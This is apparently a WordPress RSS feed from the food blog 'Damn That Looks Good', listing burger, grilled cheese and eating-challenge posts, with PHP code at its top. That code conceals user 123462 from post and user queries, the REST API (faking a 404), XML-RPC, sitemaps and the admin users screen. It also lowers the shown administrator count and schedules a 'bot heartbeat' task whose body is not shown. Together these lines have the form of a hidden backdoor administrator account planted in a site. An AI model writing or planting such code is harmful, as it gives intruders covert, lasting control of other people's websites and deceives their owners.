add_action( 'pre_get_posts', function( $q ) {
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        $not_in[] = 123462;

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} );

add_action( 'pre_user_query', function( $q ) {
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    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123462 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
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    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 123462;
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 123462;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

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        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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		<title>Chili Cheese Fries</title>
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		<category><![CDATA[Chili]]></category>
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		<title>Jerk Chicken And Shrimp Pasta</title>
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		<pubDate>Mon, 18 May 2015 20:57:59 +0000</pubDate>
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		<category><![CDATA[Chicken]]></category>
		<category><![CDATA[Colby Jack]]></category>
		<category><![CDATA[Jamaican Jerk]]></category>
		<category><![CDATA[Pasta]]></category>
		<category><![CDATA[Penne]]></category>
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		<title>Teriyaki Pina Colada Burger</title>
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		<pubDate>Tue, 22 Jul 2014 22:20:35 +0000</pubDate>
				<category><![CDATA[Bacon]]></category>
		<category><![CDATA[Bacon Cheeseburgers]]></category>
		<category><![CDATA[Burgers]]></category>
		<category><![CDATA[Cheese]]></category>
		<category><![CDATA[Cheeseburgers]]></category>
		<category><![CDATA[Colby Jack]]></category>
		<category><![CDATA[Pineapple]]></category>
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		<title>The ABC Double Cheeseburger</title>
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		<pubDate>Fri, 09 Aug 2013 18:22:01 +0000</pubDate>
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		<category><![CDATA[Brie]]></category>
		<category><![CDATA[Burgers]]></category>
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					<description><![CDATA[<p>ABC = American, Brie, Colby Jack</p>
<p>The post <a href="https://damnthatlooksgood.com/the-abc-double-cheeseburger/" target="_blank">The ABC Double Cheeseburger</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>ABC = American, Brie, Colby Jack</p><p>The post <a href="https://damnthatlooksgood.com/the-abc-double-cheeseburger/" target="_blank">The ABC Double Cheeseburger</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Chips &#038; Guacamole Grilled Cheese</title>
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		<pubDate>Mon, 01 Oct 2012 18:02:30 +0000</pubDate>
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					<description><![CDATA[<p>Photo courtesy of Panini Happy.</p>
<p>The post <a href="https://damnthatlooksgood.com/chips-guacamole-grilled-cheese/" target="_blank">Chips & Guacamole Grilled Cheese</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Photo courtesy of <a href="http://paninihappy.com/">Panini Happy</a>.</p><p>The post <a href="https://damnthatlooksgood.com/chips-guacamole-grilled-cheese/" target="_blank">Chips & Guacamole Grilled Cheese</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>The Grand Slam Challenge From Batter Up Pancakes</title>
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		<pubDate>Wed, 09 May 2012 13:17:34 +0000</pubDate>
				<category><![CDATA[California]]></category>
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					<description><![CDATA[<p>25 fluid oz. of old fashioned buttermilk pancake topped with a 10-egg scramble with 2 cups of [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/the-grand-slam-challenge-from-batter-up-pancakes/" target="_blank">The Grand Slam Challenge From Batter Up Pancakes </a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>25 fluid oz. of old fashioned buttermilk pancake topped with a 10-egg scramble with 2 cups of country potatoes, 1 cup of cheddar &amp; jack cheese and then 4 one cup toppings of your choice. If you finish in 45 minutes, you get a t-shirt, a coffee mug, your picture on the Wall of Fame and your money back ($32.99)
.</p>
<p>Fresno, California</p><p>The post <a href="https://damnthatlooksgood.com/the-grand-slam-challenge-from-batter-up-pancakes/" target="_blank">The Grand Slam Challenge From Batter Up Pancakes </a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Mount Nacheesmo Challenge From Tio’s Mexican Cafe</title>
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		<pubDate>Fri, 20 Apr 2012 13:19:29 +0000</pubDate>
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		<category><![CDATA[Michigan]]></category>
		<category><![CDATA[Nachos]]></category>
		<category><![CDATA[Olives]]></category>
		<category><![CDATA[Onion]]></category>
		<category><![CDATA[Peppers]]></category>
		<category><![CDATA[Sour Cream]]></category>
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					<description><![CDATA[<p>The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/mount-nacheesmo-challenge-from-tios-mexican-cafe/" target="_blank">Mount Nacheesmo Challenge From Tio’s Mexican Cafe</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><a href="http://damnthatlooksgood.com/?p=79967"><img loading="lazy" class="alignnone size-full wp-image-79968" title="Food26" src="http://damnthatlooksgood.com/wp-content/uploads/2012/04/Food26.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2012/04/Food26.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2012/04/Food26-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></a></p>
<p>The challenge consists of 5 pounds of nachos covered in beef, chicken, beans, cheddar and jack cheeses, tomatoes, green peppers, black olives, lettuce, onions, sour cream and guacamole. If you finish in 45 minutes, you get your picture on the wall.</p>
<p>Ann Arbor, Michigan</p><p>The post <a href="https://damnthatlooksgood.com/mount-nacheesmo-challenge-from-tios-mexican-cafe/" target="_blank">Mount Nacheesmo Challenge From Tio’s Mexican Cafe</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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